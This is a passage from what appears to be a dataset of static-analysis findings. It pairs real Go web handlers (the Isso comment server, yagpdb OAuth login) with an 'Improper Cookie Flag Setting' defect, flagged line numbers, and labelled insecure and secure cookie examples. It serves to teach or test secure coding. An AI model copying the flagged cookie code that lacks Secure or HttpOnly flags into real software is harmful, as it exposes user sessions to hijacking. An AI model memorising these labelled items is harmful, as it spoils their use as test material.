3*time.Second)\n\t\t\t\t\tdefer cancel()\n\t\t\t\t\tcomment.Title, comment.URI, err = extract.GetPageTitle(ctx, commentOrigin, comment.URI)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tjson.NotFound(requestID, w, err, \"URI does not exist or can parse or get title correctly\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif thread, err = isso.storage.NewThread(r.Context(), comment.URI, comment.Title); err != nil {\n\t\t\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tisso.tools.event.Publish(\"comments.new:new-thread\", thread)\n\t\t\t} else {\n\t\t\t\t// can not handled error\n\t\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tisso.tools.event.Publish(\"comments.new:before-save\", thread)\n\n\t\tif isso.config.Moderation.Enable {\n\t\t\tif isso.config.Moderation.ApproveAcquaintance &&\n\t\t\t\tcomment.Email != nil &&\n\t\t\t\tisso.storage.IsApprovedAuthor(r.Context(), *comment.Email) {\n\t\t\t\tcomment.Mode = ModePublic\n\t\t\t} else {\n\t\t\t\tcomment.Mode = ModeAccepted\n\t\t\t}\n\t\t} else {\n\t\t\tcomment.Mode = ModePublic\n\t\t}\n\t\tc, err := isso.storage.NewComment(r.Context(), comment.Comment, thread.ID, comment.RemoteAddr)\n\t\tif err != nil {\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\t\tisso.tools.event.Publish(\"comments.new:after-save\", thread, c)\n\n\t\treply, _ := c.convert(false, isso.tools.hash, isso.tools.markdown)\n\n\t\tisso.tools.event.Publish(\"comments.new:finish\", thread, c)\n\n\t\tisso.setcookie(c, w, false)\n\n\t\tif c.Mode == ModeAccepted {\n\t\t\tjson.Accepted(w, reply)\n\t\t} else {\n\t\t\tjson.Created(w, reply)\n\t\t}\n\t}\n}\n\nfunc (isso *ISSO) newCommentGuard(ctx context.Context, c Comment, uri string) (bool, string) {\n\tif !isso.config.Server.Guard.Enable {\n\t\treturn true, \"\"\n\t}\n\tif isso.config.Server.Guard.RequireEmail && c.Email == nil {\n\t\treturn false, \"email address required but not provided\"\n\t}\n\tif isso.config.Server.Guard.RequireAuthor && c.Author == \"\" {\n\t\treturn false, \"author address required but not provided\"\n\t}\n\n\tg := isso.config.Server.Guard\n\treturn isso.storage.NewCommentGuard(ctx, c, uri, g.RateLimit, g.DirectReply, g.ReplyToSelf, isso.config.MaxAge)\n}\n\n// FetchComments fetch all related comments\nfunc (isso *ISSO) FetchComments() http.HandlerFunc {\n\ttype urlParm struct {\n\t\tParent *int64 `schema:\"parent\"`\n\t\tLimit int64 `schema:\"limit\"`\n\t\tNestedLimit int64 `schema:\"nested_limit\"`\n\t\tAfter float64 `schema:\"after\"`\n\t\tPlain int64 `schema:\"plain\"`\n\t}\n\tdecoder := schema.NewDecoder()\n\tdecoder.IgnoreUnknownKeys(true)\n\n\tmakeReplies := func(cs []Comment, after float64, limit int64, plain bool) []reply {\n\t\tvar replies []reply\n\t\tvar count int64\n\t\tif limit <= 0 {\n\t\t\tlimit = int64(len(cs) + 1)\n\t\t}\n\t\tfor _, c := range cs {\n\t\t\tif c.Created > after && count < limit {\n\t\t\t\tcount++\n\t\t\t\tr, _ := c.convert(plain, isso.tools.hash, isso.tools.markdown)\n\t\t\t\treplies = append(replies, r)\n\t\t\t}\n\t\t}\n\t\treturn replies\n\t}\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\trequestID := RequestIDFromContext(r.Context())\n\t\tvar urlparm urlParm\n\t\terr := decoder.Decode(&urlparm, r.URL.Query())\n\t\tif err != nil {\n\t\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\t\treturn\n\t\t}\n\t\tvar parent int64\n\t\tif urlparm.Parent == nil {\n\t\t\tparent = -1\n\t\t} else {\n\t\t\tparent = *urlparm.Parent\n\t\t}\n\t\tvar plain bool\n\t\tif urlparm.Plain != 0 {\n\t\t\tplain = true\n\t\t}\n\n\t\treplyCount, err := isso.storage.CountReply(r.Context(), mux.Vars(r)[\"uri\"], ModePublic, urlparm.After)\n\t\tif err != nil {\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\t\t// param `after` may cause the loss of old comment's parent\n\t\tif _, ok := replyCount[parent]; !ok {\n\t\t\treplyCount[parent] = 0\n\t\t}\n\n\t\tcommentsByParent, err := isso.storage.FetchCommentsByURI(r.Context(), mux.Vars(r)[\"uri\"], parent, ModePublic, \"id\", true)\n\t\tif err != nil {\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\t\trJSON := struct {\n\t\t\tTotalReplies int64 `json:\"total_replies\"`\n\t\t\tReplies []reply `json:\"replies\"`\n\t\t\tID *int64 `json:\"id\"`\n\t\t\tHiddenReplies int64 `json:\"hidden_replies\"`\n\t\t}{\n\t\t\tID: urlparm.Parent,\n\t\t}\n\n\t\t// null parent, only fetch top-comment\n\t\tif parent == -1 {\n\t\t\t// parent == -1 means need all comment's, here TotalReplies means top-leval comments\n\t\t\trJSON.TotalReplies = replyCount[0]\n\n\t\t\trJSON.Replies = makeReplies(commentsByParent[0], urlparm.After, urlparm.Limit, plain)\n\t\t\trJSON.HiddenReplies = rJSON.TotalReplies - int64(len(rJSON.Replies))\n\t\t\tvar zero int64\n\t\t\temptyarray := make([]reply, 0)\n\t\t\tfor i := range rJSON.Replies {\n\t\t\t\tcount, ok := replyCount[rJSON.Replies[i].ID]\n\t\t\t\tif !ok {\n\t\t\t\t\trJSON.Replies[i].TotalReplies = &zero\n\t\t\t\t\trJSON.Replies[i].Replies = &emptyarray\n\t\t\t\t\trJSON.Replies[i].HiddenReplies = &zero\n\t\t\t\t} else {\n\t\t\t\t\treplies := makeReplies(commentsByParent[rJSON.Replies[i].ID], urlparm.After, urlparm.NestedLimit, plain)\n\t\t\t\t\trJSON.Replies[i].TotalReplies = &count\n\t\t\t\t\trJSON.Replies[i].Replies = &replies\n\t\t\t\t\tcc := *rJSON.Replies[i].TotalReplies - int64(len(*rJSON.Replies[i].Replies))\n\t\t\t\t\trJSON.Replies[i].HiddenReplies = &cc\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else if parent > 0 {\n\t\t\trJSON.TotalReplies = replyCount[parent]\n\t\t\trJSON.Replies = makeReplies(commentsByParent[parent], urlparm.After, urlparm.Limit, plain)\n\t\t\trJSON.HiddenReplies = rJSON.TotalReplies - int64(len(rJSON.Replies))\n\t\t} else {\n\t\t\t// parent = 0 not exist\n\t\t\trJSON.TotalReplies = 0\n\t\t\trJSON.Replies = []reply{}\n\t\t\trJSON.HiddenReplies = 0\n\t\t}\n\t\tjson.OK(w, rJSON)\n\t}\n}\n\n// CountComment return every thread's comment amount\nfunc (isso *ISSO) CountComment() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\trequestID := RequestIDFromContext(r.Context())\n\t\turis := []string{}\n\t\terr := jsonBind(r.Body, &uris)\n\t\tif err != nil {\n\t\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\t\treturn\n\t\t}\n\n\t\tcounts := []int64{}\n\t\tif len(uris) == 0 {\n\t\t\tjson.OK(w, counts)\n\t\t\treturn\n\t\t}\n\t\tcountsByURI, err := isso.storage.CountComment(r.Context(), uris)\n\t\tif err != nil {\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\t\tfor _, i := range countsByURI {\n\t\t\tcounts = append(counts, i)\n\t\t}\n\t\tjson.OK(w, counts)\n\t}\n}\n\n// ViewComment return specific comment\nfunc (isso *ISSO) ViewComment() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, req *http.Request) {\n\t\trequestID := RequestIDFromContext(req.Context())\n\t\tid, err := strconv.ParseInt(mux.Vars(req)[\"id\"], 10, 64)\n\t\tif err != nil {\n\t\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\t\treturn\n\t\t}\n\n\t\tvar plain bool\n\t\tif req.URL.Query().Get(\"plain\") == \"0\" {\n\t\t\tplain = true\n\t\t}\n\n\t\tcomment, err := isso.storage.GetComment(req.Context(), id)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, ErrStorageNotFound) {\n\t\t\t\tjson.NotFound(requestID, w, err, descStorageNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\n\t\tr, _ := comment.convert(plain, isso.tools.hash, isso.tools.markdown)\n\t\tjson.OK(w, r)\n\t}\n}\n\n// EditComment edit an existing comment.\n// Editing a comment is only possible for a short period of time after it was created and only if the requestor has a valid cookie for it.\n// Editing a comment will set a new edit cookie in the response.\nfunc (isso *ISSO) EditComment() http.HandlerFunc {\n\n\ttype editInput struct {\n\t\tText string `json:\"text\" validate:\"required,gte=3,lte=65535\"`\n\t\tAuthor *string `json:\"author\" validate:\"omitempty,gte=1,lte=15\"`\n\t\tEmail *string `json:\"email\" validate:\"omitempty,email\"`\n\t\tWebsite *string `json:\"website\" validate:\"omitempty,url\"`\n\t}\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\trequestID := RequestIDFromContext(r.Context())\n\t\tcomment, ok := isso.checkcookies(w, r)\n\t\tif !ok {\n\t\t\treturn\n\t\t}\n\t\tvar ei editInput\n\t\tif err := jsonBind(r.Body, &ei); err != nil {\n\t\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\t\treturn\n\t\t}\n\t\tif err := validator.Validate(ei); err != nil {\n\t\t\tjson.BadRequest(requestID, w, err, fmt.Sprintf(\"edit post data validate failed: %s\", err.Error()))\n\t\t\treturn\n\t\t}\n\n\t\tcomment.Text = ei.Text\n\t\tif ei.Author != nil {\n\t\t\tcomment.Author = *ei.Author\n\t\t}\n\t\tif ei.Email != nil {\n\t\t\tcomment.Email = ei.Email\n\t\t}\n\t\tif ei.Website != nil {\n\t\t\tcomment.Website = ei.Website\n\t\t}\n\t\tcomment.Modified = new(float64)\n\t\t*comment.Modified = float64(time.Now().UnixNano()) / float64(1e9)\n\n\t\tc, err := isso.storage.EditComment(r.Context(), comment)\n\t\tif err != nil {\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\n\t\tisso.tools.event.Publish(\"comments.edit\", c)\n\n\t\treply, _ := c.convert(false, isso.tools.hash, isso.tools.markdown)\n\t\tisso.setcookie(c, w, false)\n\t\tjson.OK(w, reply)\n\t}\n}\n\n// VoteComment used to like or dislike comment\nfunc (isso *ISSO) VoteComment() http.HandlerFunc {\n\ttype vresponse struct {\n\t\tLikes int `json:\"likes\"`\n\t\tDislikes int `json:\"dislikes\"`\n\t\tMsg string `json:\"message,omitempty\"`\n\t}\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\trequestID := RequestIDFromContext(r.Context())\n\t\tcid, err := strconv.ParseInt(mux.Vars(r)[\"id\"], 10, 64)\n\t\tif err != nil {\n\t\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\t\treturn\n\t\t}\n\t\tvar upvote bool\n\t\tif mux.Vars(r)[\"vote\"] == \"like\" {\n\t\t\tupvote = true\n\t\t} else if mux.Vars(r)[\"vote\"] == \"dislike\" {\n\t\t\tupvote = false\n\t\t} else {\n\t\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\t\treturn\n\t\t}\n\n\t\tc, err := isso.storage.GetComment(r.Context(), cid)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, ErrStorageNotFound) {\n\t\t\t\tjson.NotFound(requestID, w, err, descStorageNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\n\t\tvr := vresponse{Likes: c.Likes, Dislikes: c.Dislikes}\n\n\t\tif c.Likes+c.Dislikes > maxlikeanddislikes {\n\t\t\tvr.Msg = fmt.Sprintf(`denied due to a \"likes + dislikes\" total too high (%d > %d)`,\n\t\t\t\tc.Likes+c.Dislikes, maxlikeanddislikes)\n\t\t\tjson.OK(w, vr)\n\t\t\treturn\n\t\t}\n\n\t\tremoteAddr := findClientIP(r)\n\t\tbf := bloomfilter.RecoverFrom(c.Voters, c.Likes+c.Dislikes)\n\t\tif bf.Contains([]byte(remoteAddr)) {\n\t\t\tvr.Msg = fmt.Sprintf(`denied because a vote has already been registered for this remote address: %s`, remoteAddr)\n\t\t\tjson.OK(w, vr)\n\t\t\treturn\n\t\t}\n\t\tbf.Add([]byte(remoteAddr))\n\t\tc.Voters = bf.Buffer()\n\n\t\terr = isso.storage.VoteComment(r.Context(), c, upvote)\n\t\tif err != nil {\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\n\t\tif upvote {\n\t\t\tvr.Likes++\n\t\t} else {\n\t\t\tvr.Dislikes++\n\t\t}\n\t\tjson.OK(w, vr)\n\t\treturn\n\t}\n}\n\n// DeleteComment delete a comment\nfunc (isso *ISSO) DeleteComment() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\trequestID := RequestIDFromContext(r.Context())\n\n\t\tcomment, ok := isso.checkcookies(w, r)\n\t\tif !ok {\n\t\t\treturn\n\t\t}\n\t\tcomment, err := isso.storage.DeleteComment(r.Context(), comment.ID)\n\t\tif err != nil {\n\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\treturn\n\t\t}\n\n\t\tisso.tools.event.Publish(\"comments.delete\", comment.ID)\n\n\t\treply, _ := comment.convert(false, isso.tools.hash, isso.tools.markdown)\n\t\tisso.setcookie(comment, w, true)\n\t\tjson.OK(w, reply)\n\t}\n}\n\n// PreviewText render markdown\nfunc (isso *ISSO) PreviewText() http.HandlerFunc {\n\ttype inputtext struct {\n\t\tText string `json:\"text\"`\n\t}\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\trequestID := RequestIDFromContext(r.Context())\n\n\t\tvar it inputtext\n\t\tif err := jsonBind(r.Body, &it); err != nil || len(it.Text) == 0 {\n\t\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\t\treturn\n\t\t}\n\t\trendertext, _ := isso.tools.markdown.Convert(it.Text)\n\t\tjson.OK(w, map[string]string{\"text\": rendertext})\n\t}\n}\n\nfunc (isso *ISSO) checkcookies(w http.ResponseWriter, r *http.Request) (Comment, bool) {\n\trequestID := RequestIDFromContext(r.Context())\n\tcid, err := strconv.ParseInt(mux.Vars(r)[\"id\"], 10, 64)\n\tif err != nil {\n\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\treturn Comment{}, false\n\t}\n\n\tvar c Comment\n\tif cookie, err := r.Cookie(fmt.Sprintf(\"%v\", cid)); err == nil {\n\t\tcvalue := make(map[int64][20]byte)\n\t\tif err = isso.tools.securecookie.Decode(fmt.Sprintf(\"%v\", cid), cookie.Value, &cvalue); err == nil {\n\t\t\tif h, ok := cvalue[cid]; ok {\n\t\t\t\tif c, err = isso.storage.GetComment(r.Context(), cid); err == nil {\n\t\t\t\t\tif h == sha1.Sum([]byte(c.Text)) {\n\t\t\t\t\t\treturn c, true\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif errors.Is(err, ErrStorageNotFound) {\n\t\t\t\t\t\tjson.NotFound(requestID, w, err, descStorageNotFound)\n\t\t\t\t\t\treturn Comment{}, false\n\t\t\t\t\t}\n\t\t\t\t\tjson.ServerError(requestID, w, err, descStorageUnhandledError)\n\t\t\t\t\treturn Comment{}, false\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tjson.Forbidden(requestID, w, err, descRequestInvalidCookies)\n\treturn Comment{}, false\n}\n\nfunc (isso *ISSO) setcookie(c Comment, w http.ResponseWriter, delete bool) {\n\tif delete {\n\t\tcookie := &http.Cookie{\n\t\t\tName: fmt.Sprintf(\"%v\", c.ID),\n\t\t\tPath: \"/\",\n\t\t\tMaxAge: -1,\n\t\t\tSecure: true,\n\t\t}\n\t\thttp.SetCookie(w, cookie)\n\n\t\tcookie = &http.Cookie{\n\t\t\tName: fmt.Sprintf(\"isso-%v\", c.ID),\n\t\t\tPath: \"/\",\n\t\t\tMaxAge: -1,\n\t\t\tSecure: true,\n\t\t}\n\t\tif v := cookie.String(); v != \"\" {\n\t\t\tw.Header().Add(\"X-Set-Cookie\", v)\n\t\t}\n\t\treturn\n\t}\n\tif encoded, err := isso.tools.securecookie.Encode(fmt.Sprintf(\"%v\", c.ID),\n\t\tmap[int64][20]byte{c.ID: sha1.Sum([]byte(c.Text))}); err == nil {\n\t\tcookie := &http.Cookie{\n\t\t\tName: fmt.Sprintf(\"%v\", c.ID),\n\t\t\tValue: encoded,\n\t\t\tPath: \"/\",\n\t\t\tMaxAge: isso.config.MaxAge,\n\t\t\tSecure: true,\n\t\t}\n\t\thttp.SetCookie(w, cookie)\n\t\tcookie = &http.Cookie{\n\t\t\tName: fmt.Sprintf(\"isso-%v\", c.ID),\n\t\t\tValue: encoded,\n\t\t\tPath: \"/\",\n\t\t\tMaxAge: isso.config.MaxAge,\n\t\t\tSecure: true,\n\t\t}\n\t\tif v := cookie.String(); v != \"\" {\n\t\t\tw.Header().Add(\"X-Set-Cookie\", v)\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 502, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "61958da6ce555195c154f57821cd6d9ff7c3d7f0671c6051e97f09640588dd85", "license": {"spdx": ["MIT"], "repo": "cnpointcom/yagpdb", "path": "web/handlers_auth.go", "repo_head_hexsha": "e3de7feeef203b9c4d808e40688619f0e8a83e0e", "stack_hexsha": "e2e809d614733ac37b6073976d388c3dd2473bec", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 88, "entireCode": "package web\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"github.com/jonas747/oauth2\"\n\t\"github.com/jonas747/yagpdb/common\"\n\t\"github.com/mediocregopher/radix.v3\"\n\tlog \"github.com/sirupsen/logrus\"\n\t\"net/http\"\n\t\"time\"\n)\n\nconst (\n\tSessionCookieName = \"yagpdb-session\"\n)\n\nvar (\n\toauthConf *oauth2.Config\n)\n\nfunc InitOauth() {\n\toauthConf = &oauth2.Config{\n\t\tClientID: common.Conf.ClientID,\n\t\tClientSecret: common.Conf.ClientSecret,\n\t\tScopes: []string{\"identify\", \"guilds\"},\n\t\tEndpoint: oauth2.Endpoint{\n\t\t\tTokenURL: \"https://discordapp.com/api/oauth2/token\",\n\t\t\tAuthURL: \"https://discordapp.com/api/oauth2/authorize\",\n\t\t},\n\t}\n\n\tif https || exthttps {\n\t\toauthConf.RedirectURL = \"https://\" + common.Conf.Host + \"/confirm_login\"\n\t} else {\n\t\toauthConf.RedirectURL = \"http://\" + common.Conf.Host + \"/confirm_login\"\n\t}\n}\n\nfunc HandleLogin(w http.ResponseWriter, r *http.Request) {\n\n\tcsrfToken, err := CreateCSRFToken()\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"Failed generating csrf token\")\n\t\treturn\n\t}\n\n\tredir := r.FormValue(\"goto\")\n\tif redir != \"\" {\n\t\tcommon.RedisPool.Do(radix.Cmd(nil, \"SET\", \"csrf_redir:\"+csrfToken, redir, \"EX\", \"500\"))\n\t}\n\n\turl := oauthConf.AuthCodeURL(csrfToken, oauth2.AccessTypeOnline)\n\thttp.Redirect(w, r, url, http.StatusTemporaryRedirect)\n}\n\nfunc HandleConfirmLogin(w http.ResponseWriter, r *http.Request) {\n\tctx := r.Context()\n\n\tstate := r.FormValue(\"state\")\n\tif ok, err := CheckCSRFToken(state); !ok {\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Error(\"Failed validating CSRF token\")\n\t\t} else {\n\t\t\tlog.Info(\"Invalid oauth state\", state)\n\t\t}\n\t\thttp.Redirect(w, r, \"/?error=bad-csrf\", http.StatusTemporaryRedirect)\n\t\treturn\n\t}\n\n\tcode := r.FormValue(\"code\")\n\ttoken, err := oauthConf.Exchange(ctx, code)\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"oauthConf.Exchange() failed\")\n\t\thttp.Redirect(w, r, \"/?error=oauth2failure\", http.StatusTemporaryRedirect)\n\t\treturn\n\t}\n\n\t// Create a new session cookie cause we can\n\tsessionCookie, err := CreateCookieSession(token)\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"Failed setting auth token\")\n\t\thttp.Redirect(w, r, \"/?error=loginfailed\", http.StatusTemporaryRedirect)\n\t\treturn\n\t}\n\n\thttp.SetCookie(w, sessionCookie)\n\n\tvar redirUrl string\n\terr = common.RedisPool.Do(radix.Cmd(&redirUrl, \"GET\", \"csrf_redir:\"+state))\n\tif err != nil {\n\t\tredirUrl = \"/manage\"\n\t} else {\n\t\tcommon.RedisPool.Do(radix.Cmd(nil, \"DEL\", \"csrf_redir:\"+state))\n\t}\n\n\thttp.Redirect(w, r, redirUrl, http.StatusTemporaryRedirect)\n\n}\n\nfunc HandleLogout(w http.ResponseWriter, r *http.Request) {\n\tdefer http.Redirect(w, r, \"/\", http.StatusTemporaryRedirect)\n\n\tsessionCookie, err := r.Cookie(SessionCookieName)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tsessionCookie.Value = \"none\"\n\tsessionCookie.Path = \"/\"\n\thttp.SetCookie(w, sessionCookie)\n}\n\n// CreateCSRFToken creates a csrf token and adds it the list\nfunc CreateCSRFToken() (string, error) {\n\tstr := RandBase64(32)\n\n\terr := common.RedisPool.Do(radix.Pipeline(\n\t\tradix.Cmd(nil, \"LPUSH\", \"csrf\", str),\n\t\tradix.Cmd(nil, \"LTRIM\", \"csrf\", \"0\", \"999\"), // Store only 1000 crsf tokens, might need to be increased later\n\t))\n\n\treturn str, err\n}\n\n// CheckCSRFToken returns true if it matched and false if not, an error if something bad happened\nfunc CheckCSRFToken(token string) (bool, error) {\n\tvar num int\n\terr := common.RedisPool.Do(radix.Cmd(&num, \"LREM\", \"csrf\", \"1\", token))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn num > 0, nil\n}\n\nvar ErrNotLoggedIn = errors.New(\"Not logged in\")\n\n// AuthTokenFromB64 Retrives an oauth2 token from the base64 string\n// Returns an error if expired\nfunc AuthTokenFromB64(b64 string) (t *oauth2.Token, err error) {\n\tif b64 == \"none\" {\n\t\treturn nil, ErrNotLoggedIn\n\t}\n\n\tdecodedB64, err := base64.URLEncoding.DecodeString(b64)\n\tif err != nil {\n\t\treturn nil, common.ErrWithCaller(err)\n\t}\n\n\terr = json.Unmarshal(decodedB64, &t)\n\tif err != nil {\n\t\treturn nil, common.ErrWithCaller(err)\n\t}\n\n\tif !t.Valid() {\n\t\treturn nil, ErrTokenExpired\n\t}\n\n\treturn\n}\n\n// CreateCookieSession creates a session cookie where the value is the access token itself,\n// this way we don't have to store it on our end anywhere.\nfunc CreateCookieSession(token *oauth2.Token) (cookie *http.Cookie, err error) {\n\n\ttoken.RefreshToken = \"\"\n\n\tdataRaw, err := json.Marshal(token)\n\tif err != nil {\n\t\treturn nil, common.ErrWithCaller(err)\n\t}\n\n\tb64 := base64.URLEncoding.EncodeToString(dataRaw)\n\n\t// Either the cookie expires in 7 days, or however long the validity of the token is if that is smaller than 7 days\n\tcookieExpirey := time.Hour * 24 * 7\n\texpiresFromNow := time.Until(token.Expiry)\n\tif expiresFromNow < time.Hour*24*7 {\n\t\tcookieExpirey = expiresFromNow\n\t}\n\n\tcookie = &http.Cookie{\n\t\t// The old cookie name can safely be used after the old format has been phased out (after a day in use)\n\t\t// Name: \"yagpdb-session\",\n\t\tName: SessionCookieName,\n\t\tValue: b64,\n\t\tMaxAge: int(cookieExpirey.Seconds()),\n\t\tPath: \"/\",\n\t}\n\n\treturn cookie, nil\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 88, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "e128af364b7d658f4716f10bb32a9af51d43c7c5c7fa595c6556ba4981bf2d2c", "license": {"spdx": ["MIT"], "repo": "vidhyatw/safety_check", "path": "handlers/handlers.review_test.go", "repo_head_hexsha": "bf81165bb3181f4e748f461f9a767b54954a7cf5", "stack_hexsha": "301e961e160be406b692110ed231f645bbfb6c98", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 51, "entireCode": "// handlers.review_test.go\n\npackage handlers\n\nimport (\n\t\"encoding/json\"\n\t\"encoding/xml\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n)\n\n// Test that a GET request to the home page returns the home page with\n// the HTTP code 200 for an unauthenticated user\nfunc TestShowIndexPageUnauthenticated(t *testing.T) {\n\tr := getRouter(true)\n\n\tr.GET(\"/\", showIndexPage)\n\n\t// Create a request to send to the above route\n\treq, _ := http.NewRequest(\"GET\", \"/\", nil)\n\n\ttestHTTPResponse(t, r, req, func(w *httptest.ResponseRecorder) bool {\n\t\t// Test that the http status code is 200\n\t\tstatusOK := w.Code == http.StatusOK\n\n\t\t// Test that the page title is \"Home Page\"\n\t\t// You can carry out a lot more detailed tests using libraries that can\n\t\t// parse and process HTML pages\n\t\tp, err := ioutil.ReadAll(w.Body)\n\t\tpageOK := err == nil && strings.Index(string(p), \"Home Page\") > 0\n\n\t\treturn statusOK && pageOK\n\t})\n}\n\n// Test that a GET request to the home page returns the home page with\n// the HTTP code 200 for an authenticated user\nfunc TestShowIndexPageAuthenticated(t *testing.T) 